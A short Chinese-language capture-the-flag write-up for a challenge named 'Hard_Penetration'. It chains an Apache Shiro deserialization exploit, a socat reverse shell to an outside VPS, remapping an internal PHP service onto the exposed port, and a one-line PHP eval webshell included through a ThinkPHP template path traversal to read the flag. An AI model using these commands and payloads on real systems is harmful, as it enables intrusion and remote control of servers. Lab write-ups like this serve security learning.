# Hard\_Penetration

用了 Apache Shiro 的反序列化漏洞，特征是用户信息会加密后存储在rememberMe的Cookie中。直接利用脚本打。[shiro-exploit](https://github.com/Ares-X/shiro-exploit)

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2F7xS0S1FdaShkCX9yw0jN%2F1.png?alt=media&#x26;token=3a99668b-d478-435e-81b8-2522387d1cba" alt=""><figcaption></figcaption></figure>

权限是ctf，还是要提权，/flag和/var/www/html都是读不了的，发现题目有socat，反弹shell。

```
# 靶机
socat tcp:ip:8888 exec:/bin/bash,pty,stderr,setsid
# VPS
socat - tcp-listen:8888,fork,reuseadd
```

弹完可以维持住shell，发现除了8888的Java服务，还有一个8005的PHP服务，而且是用www-data权限起的，但是不可访问，应该是没有暴露出端口。

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FA3aut7kZ1awlZgVKMAg0%2F1.png?alt=media&#x26;token=920261cd-c3f0-4927-9ed8-9a5ea75ef6d0" alt=""><figcaption></figcaption></figure>

骚操作，杀掉8888的javaweb进程，然后把8005的phpweb重新映射到8888端口，这个思路蛮有意思的，也这题的精华点，后面的网站渗透反倒索然无味了。

```
ps -ef // 找javaweb进程
kill {pid} // 关闭javaweb服务
nohup socat tcp-listen:8888,fork,reuseaddr tcp:127.0.0.1:8005 & // 重新映射端口
```

tp3的web服务，交互页面很烦，有个没什么用的/admin，看了一圈没什么交互点，我的思路是既然有了ctf权限的shell，就去在低权限目录下写一个shell，然后用www-data权限的phpweb目录穿越+文件包含，达到提权目的。谷歌了一下这几个关键字，就找到了模板包含点。

但是穿越之后存在.html.html后缀，不可以直接读flag，就写一个1.html.html文件。

```
bash > echo <?php @eval($_POST['shell']);?> > 1.html.html
```

包含后蚁剑拿shell，读flag就可以了，由于包含了之后会被当做PHP直接执行，所以就算没有php后缀也没事。

```
wap/index/index?a=display&templateFile=../../../../../../../../../../../../../../tmp/1
```
